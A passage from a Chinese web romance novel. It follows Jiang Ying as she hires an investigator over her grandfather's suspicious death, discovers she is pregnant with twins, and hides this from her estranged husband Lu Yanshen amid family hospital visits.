陆伯川却觉得很好,“你嫂子这个要求哪是罚你,这是在帮你,这次是你嫂子,若是换做别人你能这么轻松站在这里。”
“既然二叔认同,那我就先走了。”江莹说完拎包走。
陆砚深起身,点了点陆宁的头,“认我这个哥,就记住你嫂子是江莹。”
上车后,江莹开口,“我去古坊斋,谢谢。”
“你怎么不问问陆宁是不是受人指使?”
江莹瞥了他一眼,“反正你也舍不得罚另外两个人,问了也是白问。”
陆砚深睨了她一眼,满脸嫌弃。
“这么看着我不就是嫌我笨?”江莹边回消息边说:“那么短的时间,另外两个人不可能参与,顶多就是知情不报。”
陆砚深忽地笑了,“还不算笨。”
江莹这会儿看他没有那么烦,最起码陆宁确实挺惨,接下来一段时间也不会再找她麻烦。
中午,摆脱了陆砚深,江莹开车去了跟**约好的地方。
她照着对方发来的地址在老城区的一条巷子
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里,七拐八拐找到了一家牛肉面馆。
推门进去,十几平米的小店,坐得满满当当,都是来吃饭的。
她站在门口望着里面的人,十几二十号人,哪个才是?
就在她正发愁时,临窗坐着的一个小伙子冲她招手,“江小姐,这边。”
江莹走过去,迟疑地问道:“……你是小娄?”
对方点头,“这家牛肉面很地道。”
他说着让老板再上一碗。
江莹笑笑,“没想到你这么年轻。”
“我看着显小,实际已经三十六了。”
居然比陆砚深只大了四岁,陆砚深头发往后一梳,感觉可以当他叔。
面上了之后,两人一边吃一边聊。
江莹已经在网上跟他说了一些基本情况,所以直奔主题。
“根据你之前跟我说的,你是不是怀疑你外公的死跟之前的佣人和你爸有关?”
江莹有一丝诧异,她只说怀疑跟之前的佣人有关,从来没有说跟张启明有关,他竟然猜出来了。
“你虽然没有说,但你说你外公和你舅舅去世之后你爸是最大的获利者,就说明你心里已经在怀疑。”
小娄看穿了她的心思,补充了一句继续吃面。
江莹低声道:“我就是觉得事情有太多巧合。”
外公去世后佣人声称年纪大了,心里难过辞职;舅舅刚发现异常的药物,去找医生问,就出了车祸,而车里刚好还有她妈。
不到半年,**成了张启明的天下,她不得不往这方面想。
若整件事真不是意外,她无论如何都要让张启明付出代价。
“你家那个佣人,之前就住在这附近,我问了他以前的邻居,他三年前回来过,但房子卖了人去哪儿还没有查到。”
江莹没想到他竟然这么专业,关键是人还挺仗义,都没有收钱就已经开始行动。
“别多想,我刚好在这附近办事,就顺道问了问。这个人是关键线索,我会先试着找到他,等有了进展再联系你。”他说完顿了顿,“这样你先付三分之一费用,如果我查不到有用的信息,我全额退款,我们合作终止。若是查到了什么,下次见面你再付我三分之一,可以吗?”
“没问题。”
孟澜说小娄业内口碑非常好,能力更是不容小觑,江莹自然不担心他会卷钱走人。
她爽快地付,还叮嘱人快点查。
同时心里也在盘,等逍遥楼的图纸尘埃落定之后就跟刘律师见面,将母亲跟张启明的离婚官司正式提上日程。
第80章 应该是没有怀孕吧?
【爷爷醒了,下班后我去接你一起去医院。】
看到陆砚深发来的消息,江莹刚跟**分开,直接回复:不劳陆总大家,医院门口汇合,别忘了我的出场费。
陆砚深:昨晚我的救命之恩值多少钱?
江莹:小的烂命一条不值钱。
陆砚深没有搭理她直接转钱,心想她想要的刚好自己有,要不然谁能满足这个财迷。
傍晚,他们到医院时,老爷子刚打发走一拨人。
看到他们俩眯眼笑了起来,“我就喜欢看你们站在一起。”
老爷子说话有气无力,但精神状态还算不错。
“那您以后多看看。”
陆砚深嗓音低沉,握着江莹的手却不受控制地收紧。能看到爷爷平安无事,他悬着的心总算落地。
十岁那年父母离世,便跟在爷爷奶奶和姐姐身边长大,后来姐姐上学恋爱,在家的时间减少。大部分之间都是老爷子在教导他,他跟爷爷的感情最深厚。
手术时他是全家的主心骨,不能乱,也只有这一刻他才后知后觉地害怕。
江莹感受到他的力道,转脸看向他,下颌线紧绷,脸部线条冷硬,看得出他在控制情绪。
狗男人也有害怕、紧张的时候,难得?
老爷子道:“结婚三年了,你们俩抓点紧,让我明年抱上重孙子。”
陆砚深点头,“我努力。”
老爷子嘴巴合不拢,“臭小子。”
老太太想到陆砚深给张启明百分之十的利润虽然生气,但自己孙子要这么做,她也就不好说什么。
“你姐夫明天要回临市,你姐这两天心情不好,加上昨天你爷爷手术,她情绪有些过激,别因为一点事伤了你们姐弟的情分。”
老太太说着看了眼江莹。
“我知道,姐夫的事我会再劝劝他。”
陆砚深神色有些复杂,许振清一根筋,这么多年了,还是不能接受调回总部,看来这次去临市该跟他好好聊聊。
说到许振清要回临市,江莹心里又开始纠结,要不要把他在外有人、有孩子的事告诉陆砚深。
这件事若是让陆君知道,以她的性格许振清净身出户是小,说不定陆君会用那个女人和孩子,让许振清生不如死。
出轨的男人都赶一块儿了,但许振清本身是个温和善良的人,江莹一时间拿不定主意。
说话间,秦欣提着礼品过来。
“陆爷爷,祝您早日康复。”
老爷子看着她不喜欢,淡声说了句,“谢谢。”
他之前并不反对秦欣跟陆砚深在一起,但男人既然没有选择她娶了别人,她就不应该再纠缠。
当然老爷子也知道一个巴掌拍不响,所以并没有为难秦欣。
怕江莹跟秦欣待在一处心里不得劲儿,老爷子道:“你们回去吧,忙一天了,我这里没事,有医生呢。”
陆砚深点头,“你好好休息,我们明天再过来。”
出了病房,秦欣扯住陆砚深的衣袖,“砚深,我能不能跟你说两句话。”
江莹睨了两人一眼,自己的任务已经完成,她直接离开。
心想爱怎么说怎么说,她还懒得听呢。
陆砚深心里不耐烦,却还是停住了脚步,“我会想办法,你别急。”
“可是,下周一就是截稿日期了。”
“杜宇已经在办,我只能说尽力,不能保证,我不是神什么事都能办到。”
陆砚深说完抬步走人,刚走两步脚步又顿住,转头道:“秦欣,我希望昨晚的事对你也是一个警钟,有些事是我的底线,不是所有人和事都可以为你、为轩轩让路。”
秦欣看着冷漠的背影,紧紧攥起了手。昨晚那一下,虽然没有直接撞到江莹的肚子,但她腰也被顶了一下,但她似乎没什么反应,应该是没有怀孕吧?
江莹的车先到梧桐里,陆砚深的车紧随其后。
她进门后直接进了卧室,尾随而来的陆砚深被“嘭”一声的门响直接关在门外。
因为走得近,房门关上那一瞬,直接撞到他额头上。
一阵闷痛让他捂着额头站在门口良久,他都已经这么低三下四了,这个女人竟然还甩脸子,最后紧皱着眉头开车出门。
江莹听着院里渐行渐远的汽车引擎声,心想跟小情人腻歪完,又来找自己,脸真大。
正心烦,江墨打电话过来。
想到这一周没有去看舅妈,心里有些过意不去。
“喂,你妈怎么样?”
“不太好,医生说让我们明天下午过去一趟,想调整一下治疗方案。”
这话让江莹心里咯噔一下。
“好,我明天下去过去。”
“姐,宋哥一直在等你,他办公室抽屉里放的都是你的照片。而且,宋哥这些年一直在关注**的股价,他知道我们俩被姑父架空,一心想帮我们拿回**。”
听到这话,江莹沉默了,想要拿回**,她跟江墨说过,但没想到宋瑾修已经在为她筹谋。
这么多年的有求必应,不图回报,江莹不感动是假,良久她开口,“先不说这个,等我跟陆砚深顺利离婚再说。”
梁玥下班过来,给她带了晚饭,两人在客厅边吃边聊。
“昨晚吓死我了?”
江莹笑笑,“我当时的心情也很绝望,太冷了。”
“不过听你说陆砚深为你出气,还算他有点良心。昨晚你俩那个样子,真不像是要离婚的,你会不会动心?”
江莹皱眉,“一个别人嚼过的口香糖,你还会吃吗?”
梁玥嫌弃,“你这形容怎么那么恶心?”
“本来就是。”江莹吃着饭,心情平静。
梁玥看她没事,放心不少,离婚没有变仇人,也不错。因为陆狗,
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她们得罪不起。
陆砚深离开梧桐里直接去了迷度。
沈斯阳和周野几个人正玩儿得高兴。
周野跟两人也是发小,他在部队,今年准备转业回来,这次回来就是办手续的。
“哎,你不是不来?”沈斯阳眯眼看着他。
陆砚深没吭声,在一旁坐下后随手给自己倒了杯酒,一饮而尽。
“回来也不打个招呼?”这话显然是跟周野说的。
“我倒是想跟你打招呼,这货说你应该情绪不好,让我先憋两天。”周野挑眉看了看沈斯阳。
陆砚深睨了沈斯阳一眼,“你倒是孝顺,体谅你爹情绪不好。”
“**,陆砚深,你特么这么不爽来干嘛?”
沈斯阳咬牙看着他那张又黑又臭的脸,若不是自己打不过他,怕是已经上去揍他。
周野抿了一口酒,一脸看好戏地瞅着陆砚深,“听说你老婆要跟你离婚?”
陆砚深抬腿,一脚踹在沈斯阳脚腕处,“老子这点事,都被你抖落出来。上辈子是哑巴,这辈子当喇叭?”
“噗……”
周野一口酒还没有完全咽下去,直接喷了出来。
他抽纸擦了擦嘴,“陆总骂人又出新高度。”
沈斯阳:“你站谁那边?”
周野挑眉,“我站队实力强的,没办法以后在江北混。”
“你特么要不要脸,江北你不横着走就不错了。”
周野出身军政世家,妥妥的根正苗红。
“这话不敢乱说,你爹他背后有个位高权重的姑父,人家都不敢说横着走,我凭什么?”
陆砚深突然就笑了,紧绷的情绪慢慢松下来,又喝了一口酒。
“**,周野,我算是看清你了,他一来,**就叛变。”
感情今天他众叛亲离还跟人当儿子。
陆砚深好心安抚,“过年给你发个大红包,免磕头那种。”
“看在你快被甩的份上,老子不跟你计较。”沈斯阳抬手喝了一口酒。
“听说昨晚你还抱着人家睡,不想离就好好跟人家过。”周野说着跟陆砚深碰了下酒杯。
陆砚深瞪着沈斯阳,仿佛要把他吃了。
沈斯阳赶忙打哈哈,“来来来,周野难得回来,我们喝一个。”
……
梁玥走后,江莹想到舅妈的事心里有些乱,她躺了好久没有睡意,闭上眼睛都是车祸那天血淋淋的场景。
若是舅舅没有离开,是不是舅妈的病不会发现这么快?
自从知道舅舅怀疑外公的死之后,她就一直不敢深想当年的车祸,今天**直接戳穿了她的心思,让她此刻心里的蒙上一层恨意。
久久密布在心头不散。
江莹辗转翻身,在这么胡思乱想下去,今晚就别想睡了。
她起身想去喝水缓解一下情绪,开灯却看到床上有一块儿血迹。
第81章 三年都睡了,不差这一晚
细想,自己的例假已经错后五六天了。
她去翻找卫生巾,但自己好久没有在这边住,根本没有那东西。
说了两次去买都被事情岔开,现在真的要用了,一个都没有。
虽然嫌冷不想出去,但还是裹了衣服出门打算去小区外面的便利店买。
刚到门口碰到从外面回来的陆砚深。
男人打量着她,以为出事了,“去哪儿?”
江莹瞥了他一眼,低声:“买东西。”
夜深人静天又冷,寒冷直往脖子里钻,江莹缩着脖子往外走。
陆砚深拉住她:“这么冷非得现在买?”
江莹有些哆嗦,声音更小了些:“不用你管。”
“买什么?”男人打量着她那个倔劲儿,语气软了下来,“回去等着,我去。”
江莹抬眼,盯着他,“卫生巾,你买吗?”
他一个大男人怎么可能会给她买卫生巾,江莹根本就不指望。
她挣扎着要走,陆砚深松开她直接往外走,“回去等着。”
江莹缩着脖子愣了,陆砚深竟然要去给她买卫生巾,活久见呐。
之前他可是碰都不会碰一下,现在居然开始当人了?
江莹把他现在的行为归于忏愧,毕竟他妹昨晚差点要了她的命。
不管怎么说,不用自己跑去,还是很不错的。
她回到卧室,坐在马桶上,默默等着。
大约五分钟后,陆砚深打来电话。
“喂?”
“种类有点儿多。”陆砚深声音听起来跟往常没什么区别,情绪淡淡,“要买多长的?240mm够吗?”
江莹:“……”
第一次让男人给她买这个东西,心里怪怪的。
她硬着头皮说:“可以,再要一个420mm的。”
“你确定?”陆砚深怀疑的语气,“你能用那么长?”
江莹:“……”
他一个没有用过的,在质疑一个用了十几年卫生巾的人,哪儿来的自信?
陆砚深正对着货架上琳琅满目的卫生用品研究,听见江莹飞快地说了句“确定,包装上写了夜用”就挂断电话。
他皱眉,怎么会这么多牌子?
五花八门,眼花缭乱,一个卫生巾整得……
最后不得不承认适合女性审美,颜值要高!
他拿起面前一包420mm的卫生棉,犯愁不知道选哪个牌子。
服务员看他左看看右看看,过来帮忙:“先生需要帮忙吗?”
陆砚深:“哪个牌子好用?”
服务员:“都不错的,看女朋友平时习惯用哪种呢。”
陆砚深一本正经纠正,“给我太太买。”
服务员:“噢,先生跟太太感情真好,很多男人都不愿意帮女人买卫生用品呢。”
陆砚深听了心里莫名舒服,“这几个牌子一样来一包,回去让她自己挑。”
服务员瞅着抱着卫生巾去结账的男人,一脸“吃了一嘴狗粮”的表情。
十分钟后,浴室门被打开一条缝,一只手拎了一大包东西伸进来。
接过东西,江莹快速接过关上浴室门,收拾好后出来。
陆砚深还在她房间没走,坐在沙发上看手机。
江莹有些尴尬,坐到床上下意识抓紧棉被,开口:“那个……多少钱,我还你。”
陆砚深:“……”
他可能怎么都没有想到江莹会说这句话。
足足安静十几秒,陆砚深淡声:“不值钱,赶不上我的跑腿费。不过,得感谢我的太太让有买卫生巾的体验,挺新鲜。”
顿了顿,他还补了句,“抵消了。”
说完直接离开。
江莹心想论阴阳怪气,他绝对是第一名。
狗东西嘴真欠,早晚吃嘴上的亏。
经过这么一折腾,江莹上床后脑子里静了很多,很快有了睡意。
迷迷糊糊中,感觉被人从身后抱住,微凉的触感让她不觉想躲。
“别动,睡觉,钱已经转给你了。”
男人清冷的声音从背后传来,江莹瞬间就清醒了。
“陆砚深,滚回你房间去。”
“江莹,你收了住宿费,给我一个没有暖气的房间,按的什么心?”陆砚深压着声音,明显有些不耐烦,“我明天一堆事要处理,现在必须睡觉。”
江莹:“……”
房间怎么会没有暖气呢?
但她回来住了半个多月,确实没有去别的房间查看。
“我把钱退给你,你滚回湖心公馆。”
“你有没有良心,这么晚不说,我刚刚帮了你都没有收你的钱。”
江莹挣扎,狗男人抱得更紧。
“我就睡个觉,又不能把你怎么样,三年都睡了,差这一晚?你不让我好
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睡,也不让你好睡,现在就打电话让物业过来修。”
陆砚深理直气壮的话,让江莹不知道该怎么反驳,生无可恋地闭上眼。
室内静谧,迷糊之际感觉到狗男人把手覆在她小腹上,触感温热……
第二天,江莹醒来已经将近九点,身边早已经没有陆砚深的影子。
她起床上卫生间,发现卫生巾上干干净净。
若不是自己睡衣和床上都有一小块儿血渍,她都怀疑自己昨晚是做梦。
例假推迟有六天了,是该来了呀,怎么就一点点又没有了?
自己未老先衰,已经到了闭经的程度?
吃过饭,江莹打电话给物业报修暖气后,去了古坊斋。
因为下午要去医院,所以提前跟老师说了来过一遍图纸。
她刚看了一遍平台上的选品,钟宏气呼呼进来。
江莹疑惑,“老师,哪位英雄豪杰惹你了?”
钟宏看了眼自己的爱徒,怒不可遏道:“秦氏想竞标逍遥楼重建项目。”
陆砚深找到了学校的院长,出于情面钟宏不得不说问问山风的意见。
江莹脸上的笑意僵住,给她一个蓝湾项目还不够,竟然也想竞标逍遥楼?
她是掘了秦家的祖坟吗,她看上的秦欣也都盯着?
这人该不会是知道她要参与图纸设计竞选,故意跟她打擂台吧?
想想又觉得不可能,知道她要参加逍遥楼项目图纸竞选的只有自己身边这几个人。
看到老师这么生气,她笑着安慰:“逍遥楼的重建,本来就名利双收的事,谁能拿到承建权,我们管不了。我们要做的是尽最大能力去还原它的真实面貌,将古建筑的技艺再现,并传承下去。”
钟宏耷拉着脸,声音依旧带着气,“你倒是想得开。”
“我都要离婚了,有什么想不开的,秦氏只要能做好吗,图纸再拱手想让一次也无所谓。”
“嘿,我还小瞧你了。”钟宏脸上露出一抹苦笑,“人家就是要买你三年前那套设计图,卖吗?”
江莹笑容僵住。
钟宏挑眉,“这会儿怎么不大方了?”
因为知道秦欣和陆砚深的关系,钟宏对秦氏有敌意,得知秦氏也要参与竞标和设计比稿,心里很不爽。
江莹眨眨眼,“她倒是有脑子,陆砚深找我就是为了这事?”
第82章 怀孕了
钟宏皱着眉点头,“是,狗东西为了帮她,给学校捐了上千万的实验设备,院长找我不得不给面子。设计和建造全部包揽,秦氏的胃口不小,我拖他两天到时候就说不卖。”
江莹:“……”
还真是心肝儿,撒个娇就让陆砚深这么上心,相比之下自己之前的费心讨好,果然没有对比就没有伤害。
之前为了张启明,为了**,讨好陆砚深不光要给足情绪价值,还要被吃干抹净,最后某人才勉为其难答应。
想到以前,她傻乎乎以为是夫妻情趣,所不知贪图他钱的影响在他心里日益加深,最终根深蒂固,以至于喝醉了还说她喜欢他的钱。
师徒二人沉默良久,江莹笑道:“她要就买,我就卖,但前提是她只有使用权,不能买断。说白了就是我卖给她,不能影响我们参与竞选。”
“你这是要用现在的图纸去跟自己三年前的设计比稿?”
三年前的设计已经震惊业内,现在秦氏买去也只是借山风的名气。而设计图的竞选这次比的可以说就是细节?
谁对古建筑的建造工艺了解得更透彻,谁能被选上。
“我有信心,你没有吗?”
“我当然有,你在钟楼处的设计和建造工艺是失传的,没有听说业界有人琢磨出来。”
“所以呀,比比看嘛,不管哪个被选中都是我,还增加了我被选中的几率,何乐而不为?”
钟宏看着自己最得意的学生,忽地笑了,“小东西,心眼子贼多。”
江莹挑眉,“我又没坑她,她要买我要卖而已。”
说完,江莹弯唇思索一瞬,“记得往高了要,不坑白不坑。”
钟宏:“……”
看这丫头是真想开了,心里不由得欣慰不少。
……
下午,江莹早早到了医院,看舅妈又瘦了,看得她心里堵得很。
穆青看到她拧眉:“怎么瘦了?”
江莹笑笑,“您把我的台词抢了。”
“我这里没什么事,别老往这儿跑,过好你的日子。”
舅妈不知道她要离婚的事,但从外甥女婿从没来过不难猜到,高门大户的男人不好伺候。
“我就是顺路,陆爷爷心脏不好做了手术,昨天刚醒。”
江莹不想让舅妈担心,选择了撒谎。
“我这里没事,你快去,别让婆家人挑理。”
“急什么,我陪您坐会儿。”
江莹坐在穆青床边,说了自己找**调查的事。
穆青沉默一阵后,叮嘱,“注意安全,查不到也没关系,你跟小墨平平安安最重要。”
江莹不以为意,“若真是人为,我跟江墨不见得就安全,迟早是个隐患。”
穆青点头,心思沉重。
“别担心,我心里有数。”
江莹安抚后看时间差不多,去了医生办公室,江墨已经等在那里,为了不让穆青多心,他都没敢去病房。
“医生,情况怎么样?”
医生看着病历推了推眼镜,“这一周的透析效果不太好,我们研究了一下,想药物的治疗方案。病人的情况你们也知道,方案调整肯定有利,但也会带来副作用,所以还是要提前知会你们一声。”
江莹看了看江墨,“医生,保证治疗效果的前提下,尽量减少我舅妈的痛苦,拜托了。”
医生很为难地点了点头,其实这个时候他们做什么,痛苦都不会少,但家属的心情他能理解。
从医生办公室出来,江莹安慰江墨,“别担心,上次跟你说了**有消息,就是还要等一段时间,只要舅妈听过这段时间,就能治好。”
江墨知道**是陆砚深找的,心里有些担忧,“姐,你们要离婚了,他会不会反悔?”
江莹抿唇,“不会,你放心。你现在主要的任务就是好好学习,**会交到你手上,你别偷懒。”
江墨犯愁,“张启明一定不会同意离婚。”
江莹笃定,“一定会离。”
安抚好江墨,两人一起离开。
江莹想到自己来了又走的例假,觉得还是应该去妇科问问,毕竟人要对自己负责,更何况已经在医院了。
“那个,我得去看看陆砚深他爷爷,该做的面子工作还是要有,你先去忙。”
江莹随口打发了江墨,自己往门诊楼去。
还好人不算多,挂了号,很快就叫到她。
“哪里不舒服?”
医生是个上了年纪的女性,边问边打字。
“你好医生,我例假推迟六天了,昨晚上有一点血,今天早上又没有了,想看一下我身体是不是出了问题。”
医生听她这么说,视线从电脑移到江莹脸上,“结婚了吗?”
江莹点头,“结婚了。”
“去查个血吧。”医生说着开单,并嘱咐道:“不要跑,不要急。”
江莹
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疑惑,这是什么意思,怎么还不让跑?
她拿着单子满腹疑惑地去缴费,抽血。
半个小时后拿到血检结果,她自己傻眼了?
HCG数值高得吓人。
等待回诊的间隙,她自己在手机上搜了一下,不搜不知道,一搜吓一跳。
怀孕!
她竟然怀孕了!
整个人呆若木鸡地愣了好久,一时间不能接受这个事实,她怀孕了!
怎么就怀孕了呢,想到那次在酒店,江莹生无可恋地闭上了眼。
陆砚深明明说他做了措施的,怎么会怀孕呢?
再次看了看检查结果,仿佛依旧不敢相信。
要离婚了,发现自己怀孕,这是什么狗屎运。
她曾想过要个孩子,一个属于她和陆砚深的孩子,但那个男人不上道,从来都是严格做措施。
江莹此刻感觉老天在跟她开玩笑,但这个玩笑开大了。
恍恍惚惚听到叫她的名字,江莹起身去诊室。
“恭喜你,怀孕了。”
江莹还有些愣,不知道该怎么回应这句恭喜。
“不想要?”
医生神色凝重了几分,暗暗叹息,现在的年轻人都不愿生孩子。
“哦,不是,只是没想到。”
“那就是缘分,父母和孩子之间也讲究缘分的。”医生脸上舒展,“既然要留就要多注意,昨晚出血应该是先兆流产的迹象,去做个彩超看一下胚胎发育情况。”
刚从怀孕的消息里缓过神,江莹又陷入了先兆流产的惊慌。
“我…我昨天被人推了一下,搁到了腰,是不是这个引起的。”
医生看她紧张起来,安抚道:“应该是,你也不要太紧张,先看看胚胎发育。”
江莹忧心忡忡地去做检查。
陆砚深本来是要晚点过来的,但陆君说许振清晚上六点的飞机,想提前过来跟爷爷道别,他就赶了过来。
想在他走之前跟他聊聊调回总部的事,刚好爷爷在,他应该能听进去。
电梯到四楼,江莹从外面走进来。
两人面面相觑一瞬,江莹转头要走,被陆砚深抓住胳膊。
“你怎么在这里?”
“哦,我来看我舅妈。”
陆砚深开着身后立着的“妇科”的牌子皱眉,“看你舅妈来妇科?”
江莹怔了一下,心里突突跳得厉害。
陆砚深睨着她,“手里拿的什么?”
第83章 双孕囊
“检查单。”
江莹按了二楼,声音坦然。
陆砚深看她从妇科出来拧眉问:“肚子很疼?”
江莹有痛经,本身又娇气,每次来例假都会往他怀里钻。
昨晚他还奇怪怎么这次没有哼哼唧唧,还以为好了,现在看来应该是她一直在忍。
江莹表面平静,心脏却突突直跳,怀孕的事不能让他知道,要不然狗东西该以为她是不想离婚,故意设计的。
与其让孩子出生在没有爱,被父亲讨厌的家里,还不如让他单纯快乐地跟着自己。
得不到父爱的滋味她经历过,不能让自己孩子再经历,更何况现在还有先兆流产的迹象。
“是不是很疼,说话。”陆砚深看她不说话有些担心是不是问题严重了,“医生开的检查单?”
他说着伸手就去拿,**莹躲开。
转脸看着他,有些不敢相信这人是在关心她。
她顺水推舟,皱眉道:“不疼来医院做什么,医生说查个B超,看看我的器官有没有问题。”
说完松了一口气,还好她有痛经的毛边,要不然这货还真不好骗。
“叮”一声,电梯在楼二停稳,江莹走出电梯,陆砚深跟着出来。
“你跟着**什么?”
“一日夫妻百日恩,更何况我们还在一张床上睡,我陪你。”狗男人挑眉,盯着江莹。
江莹暗暗咬牙,心想大哥你突然当人了,但也得看看别人是希望你当人还是当狗啊!
她正在想怎么拒绝,这时电梯里出来一个孕妇被丈夫扶着,走路有些沉重。
两人站在过道上,孕妇不方便过去,那个丈夫开口,“麻烦让一让。”
陆砚深赶忙往墙边靠了靠。
看着孕妇过去,江莹轻抿唇角开口,“你看人家丈夫多温柔,一看就是真爱。你要陪我,是因为爱上我了、担心我?”
陆砚深神色微顿,又觉得她的话有点牵强,“他扶着就是她丈夫?你哪只眼看到他温柔,没看到他步子迈得有点大,孕妇有被拉扯到?”
江莹:“……”
她看陆砚深仔细盯着人家研究,咬牙看了过去,似乎还真是。
“我不需要你陪,这里女性居多,你在这儿不方便,我等会儿去看爷爷。”
她说着往前走了两步,并回头恶狠狠道:“别跟着我,装什么人,再怎么装都是狗。”
陆砚深皱眉,看她肚子根本就不疼,要么就是之前都是装的。
但看她走路慢,步子都不敢迈大,又忍不住皱眉,肚子疼还装横。
看江莹在一群女人中间坐下等候检查,他没好意思过去,给江莹发了条消息直接离开去看老爷子。
他们刚刚所有的注意力都在孕妇身上,没有注意到跟那个孕妇同时出来的还有一个戴着口罩的女人。那人在看到他们俩时,瞬间转脸绕过孕妇匆匆走开。
而这会儿那个躲开他们的女人,悄无声息就坐在江莹身后。
江莹看了一眼陆砚深发过来的消息“爷爷病房等你”后合上手机。
这会儿心里静下来,还是有些不敢相信自己怀孕了。抬手覆在自己小腹上,明明跟之前一样平坦,偏偏觉得那里跟以前完全不一样了。
甚至刚刚她没有刻意,却已经不自觉地放轻放缓了脚步。
她垂眸盯着自己平坦的小腹,因为担心,默默在心里跟孩子说话,“宝宝,妈妈不知道你的到来,没有保护好你,但你千万别离开妈妈好不好,我以后一定会做个好妈妈。”
这种揪紧的心情,直到医生将凝胶涂在她腹部,那抹冰凉的触感才让她有所缓解,意识到这将是她第一次真切地看到宝宝的存在。
二十分钟后,她看着手里的检查报告再次懵了,突然知道自己怀孕已经惊喜,没想到还有更大的惊喜在等着她。
江莹拿着报告,整个人都有些颤抖,B超报告上清晰地写着:双孕囊,双胚芽可见。
简单的几个字落在她眼中那了一刻,她清楚地感觉到自己心跳停滞了一瞬。
因为太过震惊,江莹感觉自己像是虚脱了一样,迈步的力气都没有。
她缓缓在候诊区坐下,一手拿着检查报告,一手放在唇边,牙齿轻咬的痛感让她渐渐平静。
刚刚坐在她身后的人一直没有动,只是这会儿江莹坐在了她的斜后方。
“你还好吧?”
江莹身边坐着的大姐,看她盯着检查报告,紧张得不行,以为是得了什么病一时接受不了。
江莹在大姐关切的眼神中缓缓扯出个笑,“我没事,挺好的。”
大姐扫见她手的报告,一下子兴奋起来,“天呐,双胞胎!妹妹,你太厉害了。”
江莹不自觉笑容加深,“我也没想到。”
“怪不得你刚刚那么紧张,原来是激动的。
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”大姐羡慕的眼神都放光,“恭喜恭喜,不瞒你说,我都备孕好几年了。一直怀不上。”
大姐的失落更让江莹觉得宝宝来之不易,她安慰鼓励了几句拿着报告去回诊。想到医生说有先兆流产的迹象,她这会儿更不敢迈步。
前面的女人,听到消息后,开始给某人发消息:哥,江莹怀孕了,双胞胎,陆砚深陪她一起来的医院。
江莹小心翼翼走到医生诊室,坐下后紧张地问:“医生,孩子有问题吗?我该怎么做?”
医生看着报告,脸上的笑意盈盈,“竟然是双保胎,不用太紧张哈,一切都是正常的。昨天晚出血应该就是跟你被撞了一下有关,以后注意,千万不能再磕着碰着,最近几天卧床休息,尽量不要下地。后面若是再有出血及时就诊,我给你开点保胎药按时吃。”
想到下周四要去临市,总共也就剩一周时间,江莹纠结,“医生,要卧床几天?”
医生神情严肃,“至少三天,千万不能大意。”
江莹松了口气,“我一定遵医嘱卧床休息。”
心里暗想,一定不能有事,三年前错过了逍遥楼的重建,还好当初项目停滞,这次若是再错过不可能再有参与的机会。
江莹在一楼拿了药,刚要去老爷子病房,碰到楼上坐在她旁边的大姐。
“妹妹,又见到你了,好巧。”
江莹笑笑,“是啊,好巧,你怎么样?”
“医生说继续调理,现在情况好了点,毕竟年纪大了,不比你们年轻人。”
江莹安慰:“慢慢来,有时候越着急反而事与愿违。”
大姐点头,“是的,所以我还算乐观。今天碰到你希望可以沾沾你的孕气,让我也怀一个。”
江莹心情好,这会儿笑得格外好看,“一定会的。”
“双胞胎会更辛苦,你可得多注意。”
两人边走边聊,江莹笑意不减,“甜蜜的负担。”
大姐性格很好,迁就江莹的步子,边走边问:“你们家有双胞胎基因吗?”
江莹摇头,“据我所知的没有。”
“那可是太幸运了,一下子两个宝贝,令人羡慕的双胞胎。”
陆砚深一直在等江莹,见她迟迟不去老爷子病房,担心她身体过来找她,没想到她跟人说说笑笑,心情很好的样子。
他上前,沉着脸问:“谁家那么幸运有双胞胎?”
第84章 谁家有了双胞胎
大姐打量着眼前英挺不凡的男人,心想这人长得跟男明星一样,果然男人也是有好看的,不全靠滤镜和美颜。
她刚准备开口,**莹截了话,“大姐,你注意身体,好好保养。”
说完急忙拉着陆砚深走开。
看得大姐愣了一瞬,原来这是她老公,这两人真登对,神颜生出来的孩子得有多漂亮。
“拉**什么,谁家有了双胞胎?”
陆砚深心里气闷,刚跟人家笑得那么开心,以为是她朋友,自己就那么见不得人吗,刚过去问了句话就被她拉走。
“谁家跟你有什么关系,反正不是你家。”
江莹看着他没好气儿,心想,你为了秦欣捐了多少钱,我就让秦欣吐出来多少。
“也不是没可能。”陆砚深睨了她一眼,眉峰微挑,“检查结果怎么样?”
江莹看他两秒,佩服他这份自信,难道自信的人都会好命?
她垂手放在自己肚子上,笑道:“很好,超乎意料的好。”
两人说着往老爷子病房走,陆砚深皱眉,“既然这么好,怎么走路跟蜗牛一样?还是说你装的,想让我抱你走。”
江莹气笑,“我之前说过一句话,你当时听了没什么反应,我要不要说给你听听。”
一看她这笑,陆砚深就知道没好话,直接拒绝,“不要,不想听。”
江莹咬唇笑道:“我觉得你还是听一听吧,特别适合你,或许你上没有听太懂。”
“不听。”
男人说着往前迈了一大步,明知道不是好话,他傻了才听。
“你脸比屁股大……”
她刚说出口,陆砚深转身回来捂住她的嘴,低声道:“我屁股大还是脸大,你不清楚?若是忘了,回去脱了让你好好看看。”
江莹本来是想骂他,谁知道这人越来越不要脸,张嘴在他掌心咬了一下,然后松口离开。
两人到病房时,陆君和许振清已经出来,从陆君红红的眼眶来看,应该是没有谈拢。
江莹心想,许振清在家里地位跟她差不多。不,其实许振清的处境比她要好很多,陆君很爱他,但就是太强势,让他像是入赘。
男人的自尊心在妻子面前得不到满足,常年处于被压制的状态,他肯定会不平衡。
更何况这么多年他们两地分居,不出问题才怪。
两个有仇的女人见面,谁也不看谁已经是最大修养。
“砚深,家里你多费心了,你姐和诺诺也多亏你照顾。”
陆砚深微微点头,“家里你放心,我的提议你也考虑一下。”
许振清扯唇笑了下,“我赶飞机,过年回来再说。”
陆君知道他这是转移话题,但知道自己丈夫性格执拗,没有说话,脸色却不是很好看。
江莹对此心里明镜一样,许振清不可能回来,他在临市有女人,有孩子,而且看得出来他很爱那个女人。
许振清和陆君走后,他们去看了老爷子,乔云舒和陆静淑还在。
看到江莹,陆静淑脸上笑意消失,她听说了昨天的事,隐隐觉得是江莹怂恿的。
乔云舒则很热情地跟她打招呼,“表嫂。”
“爷爷,你精神状态比昨天好了不少呢!”
江莹跟自己喜欢的人说话时,嗓音会不自觉地甜软,隐隐透着股撒娇的味道。
“爷爷也觉得自己能提上气儿了,顺畅了不少。”
老太太疑惑,“今天怎么没有看到宁宁那丫头?”
陆砚深开口,“我给她报了个培训课,让她学学财务管理。”
老爷子微微点头,“趁年轻是该多学点东西。”
“爸,你就少操点心吧,好好养病。”
老爷子疼爱自己女儿,笑眯眯道:“你跟云舒回去吧,远文工作压力大,回到家连个人都没有像什么话。”
陆静淑抿唇,“这么多年我都陪着他,也该回来陪陪你跟我妈。”
